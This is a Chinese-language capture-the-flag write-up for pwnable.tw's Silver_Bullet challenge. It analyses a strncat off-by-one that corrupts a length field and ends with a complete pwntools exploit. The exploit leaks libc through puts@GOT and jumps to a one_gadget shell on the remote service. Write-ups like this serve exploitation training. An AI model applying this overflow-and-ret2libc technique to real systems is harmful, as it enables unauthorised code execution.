pawnable.tw Silver_Bullet
0x10 程序分析
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
32 位动态链接库文件,ubuntu16.04的libc,没有开启栈溢出保护
Create 函数
int __cdecl create_bullet(char *s)
{
  size_t v2; // ST08_4
  if ( *s )
    return puts("You have been created the Bullet !");
  printf("Give me your description of bullet :");
  read_input(s, 0x30u);
  v2 = strlen(s);
  printf("Your power is : %u\n", v2);
  *((_DWORD *)s + 0xC) = v2;                    // ida识别错误,应该在s+0x30的位置
  return puts("Good luck !!");
}
Powerup函数
int __cdecl power_up(char *dest)
{
  char s; // [esp+0h] [ebp-34h]
  size_t v3; // [esp+30h] [ebp-4h]
  v3 = 0;
  memset(&s, 0, 0x30u);
  if ( !*dest )
    return puts("You need create the bullet first !");
  if ( *(dest + 12) > 0x2Fu )
    return puts("You can't power up any more !");
  printf("Give me your another description of bullet :");
  read_input(&s, 48 - *(dest + 12));
  strncat(dest, &s, 48 - *(dest + 12)); //注意这个函数
  v3 = strlen(&s) + *(dest + 12);
  printf("Your new power is : %u\n", v3);
  *(dest + 12) = v3;
  return puts("Enjoy it !");
}
beat函数
signed int __cdecl beat(int a1, _DWORD *a2)
{
  signed int result; // eax
  if ( *a1 )
  {
    puts(">----------- Werewolf -----------<");
    printf(" + NAME : %s\n", a2[1]);
    printf(" + HP : %d\n", *a2);
    puts(">--------------------------------<");
    puts("Try to beat it .....");
    usleep(0xF4240u);
    *a2 -= *(a1 + 48);
    if ( *a2 <= 0 )
    {
      puts("Oh ! You win !!");
      result = 1;
    }
    else
    {
      puts("Sorry ... It still alive !!");
      result = 0;
    }
  }
  else
  {
    puts("You need create the bullet first !");
    result = 0;
  }
  return result;
}
三个函数都判断了bullet是否存在而输入使用了read_input函数
ssize_t __cdecl read_input(void *buf, size_t nbytes)
{
  ssize_t v3; // [esp+0h] [ebp-4h]
  v3 = read(0, buf, nbytes);
  if ( v3 <= 0 )
  {
    puts("read error");
    exit(1);
  }
  if ( *(buf + v3 - 1) == 10 )
    *(buf + v3 - 1) = 0;
  return v3;
}
读入0x30长度的字符串到buf中,并且将\n 替换为\x00
如果我们第一次输入0x10长度的字符串,然后我们最加0x20长度的字符串的话程序会发生什么:
首先过第一个函数
s+0x30 = 0x10
然后进行追加:
strncat(dest,s,0x20)
漏洞点就在于这个strncat ,strncat(dest,src,n)的功能是将src的前n个字节的字符追加到dest字符串后面,然后再加上\x00结尾。
此时执行完成以后由于将0x10覆盖为了0x00,因此此时字符串长度会被识别成0x20,导致我们可以继续追加产生溢出
0x20 思路
第一次输入0x28+4个字节,然后追加0x8-4个字节,然后再次追加7个字节就可以溢出到返回地址
我们要让main函数返回就要调用Beat函数,由于我们可以覆盖到 *a2 -= *(a1 + 48);,因此我们只需要将这里的值改为一个比较大数字就可以了
ROP
puts_plt
main
puts_got
get puts
libc_base = puts - libc.symbols['puts']
onegadget = libc_base + one
one
0x30 Final exp
#/usr/bin/env python
#-*-coding:utf-8-*-
from pwn import *
proc="./silver_bullet"
context.update(arch = 'x86', os = 'linux')
elf=ELF(proc)
libc = ELF("./libc_32.so.6")
def choice(operand):
	sh.sendafter("Your choice :",str(operand))
def Create(content):
	choice(1)
	sh.sendafter("Give me your description of bullet :",content)
	
def Powerup(content):
	choice(2)
	sh.sendafter("Give me your another description of bullet :",content)
def Beat():
	choice(3)
def pwn(ip,port,debug):
	global sh
	if debug==1:
		context.log_level="debug"
		sh=process(proc)
	else:
		sh=remote(ip,port)
	main = elf.symbols['main']
	puts_plt = elf.symbols['puts']
	puts_got = elf.got['puts']
	Create("A"*(0x28+4))
	Powerup("B"*(0x8-4))
	Powerup("\xff"*7+p32(puts_plt)+p32(main)+p32(puts_got))
	Beat()
	sh.recvuntil("Oh ! You win !!\n")
	puts = u32(sh.recv(4))
	log.info("puts: "+hex(puts))
	libc_base = puts -  libc.symbols['puts']
	one_gadget = libc_base + 0x5f065
	Create("A"*(0x28+4))
	Powerup("B"*(0x8-4))
	Powerup("\xff"*7+p32(one_gadget))
	Beat()
	sh.sendline("cat /home/silver_bullet/flag")
	
	sh.interactive()
if __name__ =="__main__":
	pwn("chall.pwnable.tw",10103,0)
"""
0x3a819 execve("/bin/sh", esp+0x34, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x34] == NULL
0x5f065 execl("/bin/sh", eax)
constraints:
  esi is the GOT address of libc
  eax == NULL
0x5f066 execl("/bin/sh", [esp])
constraints:
  esi is the GOT address of libc
  [esp] == NULL
"""